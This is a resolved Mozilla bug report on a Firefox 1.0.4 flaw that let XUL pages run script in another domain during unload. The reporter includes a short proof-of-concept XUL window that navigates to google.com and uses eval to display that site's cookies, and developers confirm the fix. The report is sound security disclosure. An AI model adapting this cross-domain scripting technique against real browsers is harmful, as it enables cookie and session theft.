298249 - XUL pages can do cross domain scripting on unload

Status: RESOLVED FIXED

(Firefox :: General, defect)

Description

[Michael Krax]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

By interfering the unload process of a XUL page with a modal dialog, it is
possible to run javascript code in the context of another domain. This could be
used to steal cookies, etc.

<window
    xmlns:html="http://www.w3.org/1999/xhtml"
    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
    style="border: solid 5px red"
    onclick="alert('We are leaving the xul
page...');location='http://www.google.com';alert('...wait till the new page
loads...');eval('alert(document.location+\'\\n\'+document.cookie);');" >
</window>

This demo is not working when tested with similar HTML code. For some reason the
destruction of XUL pages seems to have a different timing.

The test relies on user interaction, but there is no way to stop the script when
started (because you can only click "ok" in an alert box). Well, you could kill
the browser process before the target page gets loaded.

Reproducible: Always

Comment 1

[Daniel Veditz [:dveditz]]

This may or may not be the same as the html bug 296514. I can confirm this one
on both trunk and 1.0.x Firefox, and also in Mozilla 1.7.8. But I could not
reproduce using a 20050419 trunk mozilla build which did reproduce bug 296514 no
problem.

superficially they look like the same testcase though.

Comment 2

[Jay Patel [:jay]]

jst:  If you still believe this is a dup after checking in the fix for bug
296514, please mark this fixed as well.  Thanks.

Comment 3

[Chase Phillips]

Per 1.0.5 mtg, needs testing on the trunk before we take it on the aviary branch.

Comment 4

[Mike Shaver (:shaver emeritus)]

jst: did split-window fix this?  If so, please dup or mark FIXED.

Comment 5

[Johnny Stenback (:jst)]

Yeah, seems fixed, and for what I can understand of this testcase, it really
should be fixed now.

Comment 6

[Johnny Stenback (:jst)]

Fixed on the trunk before we branched for 1.8.

Comment 7

[Daniel Veditz [:dveditz]]

This appears to have been fixed by some of the eval changes in either 1.0.5 or 1.0.7 -- need to investigate further.